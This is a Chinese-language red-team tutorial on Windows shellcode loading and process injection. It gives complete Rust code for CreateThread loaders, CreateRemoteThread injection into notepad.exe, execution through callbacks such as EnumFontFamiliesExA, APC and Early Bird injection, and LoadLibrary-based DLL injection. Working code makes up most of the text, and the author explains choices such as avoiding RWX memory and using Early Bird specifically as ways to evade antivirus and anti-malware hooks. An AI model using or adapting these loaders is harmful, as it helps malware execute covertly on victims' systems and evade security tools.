这里主要简单探讨 shellcode 的加载方式,即如何控制程序流执行到 shellcode 的地址。对于其 内存分配 只需要保证在执行时内存段权限可执行即可。

CreateThread

将 shellcode 分配到内存后,使用 CreateThread win api 在当前进程中创建一个线程执行 shellcode。

  1. 使用 VirtualAlloc 在当前进程的虚拟内存中分配一块空间 (RW)
  2. 复制 shellcode 到指定内存
  3. 更改内存段可读可执行 (RX)
  4. 调用 CreateThread 指向 shellcode 执行

为什么不直接 RWX 呢,因为 RWX 的内存段太显眼了,一般不会出现这种权限的内存段 XD

// allocate RW memory for shellcode
let base_addr = VirtualAlloc(
	ptr::null_mut(),
	shellcode_size,
	MEM_COMMIT | MEM_RESERVE,
	PAGE_READWRITE,
);
check!(!base_addr.is_null());
 
// copy shellcode to RW memory
std::ptr::copy(shellcode.as_ptr(), base_addr.cast(), shellcode_size);
 
// change memory protection to RX
let mut old = PAGE_READWRITE;
let res = VirtualProtect(base_addr, shellcode_size, PAGE_EXECUTE, &mut old);
check!(res != FALSE);
 
// create thread to execute shellcode
let ep = transmute(base_addr);
let mut tid = 0;
let thread = CreateThread(
	null_mut(),
	0,
	Some(ep),
	null_mut(),
	0,
	&mut tid
);
check!(thread != 0);
 
// wait for thread to finish
WaitForSingleObject(thread, INFINITE);
 
// free memory and close thread handle
VirtualFree(base_addr, 0, MEM_RELEASE);
CloseHandle(thread);

CreateRemoteThread

(copy from Process Injection: Remote Thread Injection or CreateRemoteThread)

主要原理是指定一个进程,将 shellcode 写进其的虚拟内存中,在目标进程中创建线程并执行。步骤如下:

  1. 遍历 process list 找到需要注入的进程
  2. 打开目标进程并将 shellcode 注入进其内存空间
  3. 调用 CreateRemoteThread 执行 shellcode 代码

首先是遍历找进程,demo 中使用的 win api:

unsafe fn find_process(process_name: &str) -> Option<u32> {  
    let mut process_id = 0;  
    // get snapshot of all processes  
    let handle = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) };  
    check!(handle != 0);  
  
    // iterate through processes and find target process  
    let mut entry: PROCESSENTRY32 = std::mem::zeroed();  
    entry.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;  
    let mut res= Process32First(handle, &mut entry);  
    while res != FALSE {  
        let p_name = OsString::from_wide(entry.szExeFile.iter().map(|&x| x as u16).collect::<Vec<u16>>().as_slice());
        let p_name = p_name.to_string_lossy().to_lowercase();  
        let pos = p_name.find("\0").unwrap();  
        let p_name = &p_name[..pos];  
        println!("process_name find: {:?}", p_name);  
        if p_name == process_name.to_lowercase() {  
            process_id = entry.th32ProcessID;  
            break;  
        }  
        res = unsafe { Process32Next(handle, &mut entry) };  
    }  
    unsafe { CloseHandle(handle) };  
  
    // return process id  
    if process_id == 0 {  
        None  
    } else {  
        Some(process_id)  
    }  
}

找到 process id 后便可以使用 OpenProcess 获取 process handler,使用 VirtualAllocEx 写进指定进程的内存后就能用 CreateRemoteThread 调用执行 shellcode 了。

pub fn run(shellcode: &[u8]) -> anyhow::Result<()> {  
    let shellcode_size = shellcode.len();  
    unsafe {  
        let process_name = "notepad.exe";  
        let process_id = find_process(process_name).unwrap();  
  
        let process_handler = OpenProcess(  
            PROCESS_ALL_ACCESS,  
            FALSE,  
            process_id  
        );  
        check!(process_handler != 0);  
  
        let remote_addr = VirtualAllocEx(  
            process_handler,  
            null_mut(),  
            shellcode_size,  
            MEM_COMMIT | MEM_RESERVE,  
            PAGE_EXECUTE_READWRITE,  
        );  
        check!(!remote_addr.is_null());  
  
        let res = WriteProcessMemory(  
            process_handler,  
            remote_addr,  
            shellcode.as_ptr() as *const c_void,  
            shellcode_size,  
            null_mut()  
        );  
        check!(res != FALSE);  
  
        breakpoint();  
  
        let remote_thread = CreateRemoteThread(  
            process_handler,  
            null_mut(),  
            0,  
            Some(transmute(remote_addr)),  
            null_mut(),  
            0,  
            null_mut()  
        );  
        check!(remote_thread != 0);  
        WaitForSingleObject(remote_thread as *mut c_void, INFINITE);  
        CloseHandle(remote_thread);  
    }
    Ok(())
}

Callback Function

CreateThreadCreateRemoteThread 俩函数一直都在各大杀软榜首,除此之外,还有一些其他 shellcode 的加载方式,callback function 算是一种。

我们可以使用 win api 提供的一些回调函数来执行 shellcode,这里有一份 17 年总结的 post,列举了一些能够被利用的回调函数。

pub fn run(shellcode: &[u8]) -> anyhow::Result<()> {  
    let shellcode_size = shellcode.len();  
    unsafe {  
        // create and alloc heap space  
        let heap_handler = HeapCreate(  
            HEAP_CREATE_ENABLE_EXECUTE,  
            0,  
            0  
        );  
        let heap_address = HeapAlloc(
            heap_handler,  
            0,  
            0x100000  
        );  
        let mut pointer = heap_address as usize;  
        check!(pointer != 0);  
        std::ptr::copy(shellcode.as_ptr(), heap_address.cast(), shellcode_size);
        EnumFontFamiliesExA(GetDC(0), null_mut(), transmute(heap_address), 0, 0);  
        CloseHandle(heap_handler);  
    }  
    Ok(())  
}

能够使用的一些回调函数:

EnumSystemLocalesA(transmute(heap_address), 0);  
EnumSystemGeoID(16, 0, transmute(heap_address));  
EnumUILanguagesA(transmute(heap_address), 0, 0);  
EnumUILanguagesW(transmute(heap_address), 0, 0);  
EnumFontFamiliesExA(GetDC(0), null_mut(), transmute(heap_address), 0, 0);

APC Injection

APC 机制简单介绍

An asynchronous procedure call (APC) is a function that executes asynchronously in the context of a particular thread. When an APC is queued to a thread, the system issues a software interrupt. The next time the thread is scheduled, it will run the APC function. An APC generated by the system is called a kernel-mode APC. An APC generated by an application is called a user-mode APC. A thread must be in an alertable state to run a user-mode APC.

首先 APC 机制分为用户态和内核态,下面主要探究是用户态实现的 APC 注入。

Alertable State 是指进程或线程在执行等待操作时,允许操作系统中断该等待以执行特定任务的状态。对于我们来说,只需要知道每个线程会维护一个 APC 队列,当该线程处于 Alertable State 时便会尝试执行 APC 队列里面的函数。

也就是说相比于其他注入方式,我们除了需要将待执行的 shellcode 使用 QueueUserAPC 填入 APC 队列中去,还需要去触发线程让它进入 Alertable State。一个最简单的方式便是通过 NtTestAlert 这个内核函数去触发当前线程的 Alertable State。

关于内核函数的更多内容可以查看 Windows Syscall 一章内容。

使用 NtTestAlert 触发本地线程调用 APC 队列 demo:

pub fn run(shellcode: &[u8]) -> anyhow::Result<()> {
    let shellcode_size = shellcode.len();
    unsafe {
        let process_handler = GetCurrentProcess();
        check!(process_handler != 0);
 
        let remote_addr = VirtualAllocEx(
            process_handler,
            null_mut(),
            shellcode_size,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE
        );
        check!(!remote_addr.is_null());
        
        let res = WriteProcessMemory(
            process_handler,
            remote_addr,
            shellcode.as_ptr() as *const c_void,
            shellcode_size,
            null_mut()
        );
        check!(res != FALSE);
 
        let status = QueueUserAPC(transmute(remote_addr), GetCurrentThread(), 0);
        check!(status != 0);
 
        NtTestAlert();
        
        CloseHandle(process_handler);
    }
 
    Ok(())
}

当然,对于本地线程还有其他触发方式:

  • SleepEx(INFINITE, TRUE)
  • WaitForSingleObjectEx

对于非本地进程,同样可以进行注入。只不过一个进程包含多个线程,为了确保能够执行插入的 shellcode,需要在目标进程的所有线程中都进行插入操作,而且这仍然需要等待目标进程中的线程触发唤醒操作才能进入 Alertable State。

APC 注入有一个常见的变体:Early Bird。

Early Bird 是一种简单而强大的技术,Early Bird 本质上是一种 APC 注入与线程劫持的变体,由于线程初始化时会调用 ntdll 未导出函数 NtTestAlert,该函数会清空并处理 APC 队列,所以注入的代码通常在进程的主线程的入口点之前运行并接管进程控制权,从而避免了反恶意软件产品的钩子的检测,同时获得一个合法进程的环境信息。

步骤:

  1. 创建一个挂起进程
  2. 在目标进程中申请一块内存空间
  3. 向内存空间写入 shellcode
  4. 插入shellcode 地址到目标进程主线程的 APC 队列中
  5. 恢复挂起线程 ResumeThread
pub fn run(shellcode: &[u8]) -> anyhow::Result<()> {
    let shellcode_size = shellcode.len();
    unsafe {
        let app_path = CString::new("C:\\Windows\\System32\\notepad.exe").unwrap();
        let mut si: STARTUPINFOA = zeroed();
        let mut pi: PROCESS_INFORMATION = zeroed();
 
        let res = CreateProcessA(
            app_path.as_ptr() as *const u8,
            null_mut(),
            null_mut(),
            null_mut(),
            false as i32,
            CREATE_SUSPENDED,
            null_mut(),
            null_mut(),
            &mut si,
            &mut pi
        );
        check!(res != FALSE);
 
        let victim_process_handler = pi.hProcess;
        let victim_thread_handler = pi.hThread;
 
        let remote_addr = VirtualAllocEx(
            victim_process_handler,
            null_mut(),
            shellcode_size,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE
        );
        check!(!remote_addr.is_null());
        
        let res = WriteProcessMemory(
            victim_process_handler,
            remote_addr,
            shellcode.as_ptr() as *const c_void,
            shellcode_size,
            null_mut()
        );
        check!(res != FALSE);
 
        let status = QueueUserAPC(transmute(remote_addr), victim_thread_handler, 0);
        check!(status != 0);
 
        ResumeThread(victim_thread_handler);
        CloseHandle(victim_process_handler);
    }
    Ok(())
}

至于内核态实现的 APC 注入,可以使用驱动实现,具体代码细节可以看这里:joaoviictorti/shadow-rs

一些参考:

DLL Injection

对红队来说最常见的 DLL 注入是依靠调用 LoadLibrary API 时会自动执行 DllMain 从而走进可控的 shellcode 逻辑。可以配合 CreateThread, CreateRemoteThread 或 APC 注入去实现,相比直接注入 shellcode,最大的优势是不需要改内存段为可执行,因为可以直接将恶意 Dll name 当作参数传入 LoadLibrary 函数地址。

CreateRemoteThread(
	hprocess,
	None,
	0,
	Some(transmute(load_library_address)),
	Some(dll_name_address), // RW
	0,
	None,
)

不过普通 dll 注入的劣势显而易见:dll 文件需要落地。

当然,DLL 注入也有其他形式:

  • 钩子注入
  • 注册表注入

这里也就不详细展开了,因为感觉常规的 DLL 注入有一定的局限性,很难再继续做文章 XD

More Injections ?

  • Reflective Dll injection
  • process ghosting
  • process herpaderping